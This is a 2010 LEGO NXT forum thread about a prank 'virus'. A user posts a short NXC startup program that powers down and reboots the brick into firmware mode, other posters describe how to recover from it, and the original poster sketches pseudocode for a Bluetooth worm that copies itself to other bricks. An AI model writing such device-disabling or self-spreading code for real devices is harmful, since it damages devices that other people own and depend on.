Page 1 of 2

NXT Virus

Posted: 08 Nov 2010, 05:04
by muntoo
Well, technically, this isn't a "virus" by definition, but it is the first piece of "malicious" code for the NXT, specifically targeting the NBC/NXC Enhanced Firmware:

Code: Select all

/*  Program Name: "! Startup.nxc"
**  This program was created by "muntoo" on November 7, 2010
**  Created using BricxCC (by John Hansen) and written in NXC (by John Hansen)
**  ( http://bricxcc.sourceforge.net/ )

Description:
MUHUHAHAHAHAHAHAHAHAHAHAHAHAHAHA!!!
*/


task main()
{
	PowerDown();
	RebootInFirmwareMode();
}
I was dumb enough to download this to my NXT. I thought I could fix it by redownloading the firmware... but that doesn't seem to work.

Any ideas on how to remove this "virus"?

Re: NXT Virus

Posted: 08 Nov 2010, 07:23
by mightor
Hit the reset button for a couple of seconds and then reflash. Easy.

- Xander

Re: NXT Virus

Posted: 08 Nov 2010, 15:13
by mattallen37
Actually Xander, it is not that easy. I once built a program that was basically the same thing, and it took a lot more than just holding the reset button to reset it. How I fixed it, was by holding the orange button AND the reset button for a COUPLE MINUTES. It finally did fix it. The reset button only seems to work when the NXT is powered on, so holding the orange button will keep turning it on, and holding the reset button will hopefully reset it (it FINALLY did for me). After that, I decided to NEVER download the program again.

Re: NXT Virus

Posted: 08 Nov 2010, 15:28
by hassenplug
This makes me happy. Someone created a virus, and caused themselves a big headache.

FYI, a few years back, someone created a virus for an RCX that would transmit itself via IR to other RCXs.

I never tried it.

Steve

Re: NXT Virus

Posted: 08 Nov 2010, 15:36
by mattallen37
hassenplug wrote:...FYI, a few years back, someone created a virus for an RCX that would transmit itself via IR to other RCXs...
What do you mean by "transmit itself"?

Re: NXT Virus

Posted: 08 Nov 2010, 16:11
by nxtreme
mattallen37 wrote:What do you mean by "transmit itself"?
Sort of similar to some cellphone viruses that go from phone to phone using Bluetooth. In other words, it would duplicate itself, sort of like an earthworm getting chopped in half*, growing again and repeating the cycle. Pretty soon you have lots of worms :). At least, that's how I understand it.

* Well, maybe they don't quite duplicate, just grow back.

Re: NXT Virus

Posted: 08 Nov 2010, 16:14
by mattallen37
Oh, I get it. So what was the fix for the RCX virus? Resetting it by taking out the batteries?

Re: NXT Virus

Posted: 08 Nov 2010, 20:10
by hassenplug
mattallen37 wrote:Oh, I get it. So what was the fix for the RCX virus? Resetting it by taking out the batteries?
Yes. Pretty simple fix.

Found it: http://www.convict.lu/Jeunes/tiny_mini_ ... i_worm.htm

Steve

Re: NXT Virus

Posted: 08 Nov 2010, 22:04
by mattallen37
That looks interesting. I think I might try it someday.

Re: NXT Virus

Posted: 09 Nov 2010, 01:00
by muntoo
If your fix works (I'll try it on Saturday), I'll probably make another one. ;) I'll see if there are any exploits in BT to make a worm... Of course, I'll do some pre-testing to make sure it's safe, and I'll add a safety feature (stops after 2 transmits?).

EDIT:
I'm planning something like this:

Code: Select all

count = ReadFile("counter.dat");
WriteFile("counter.dat", count++);
if(count <= 2)
{
SendFile("counter.dat");
SendFile("! Startup.rxe");
RemotePowerDown();
}
Of course, you'll need to establish a connection first. :(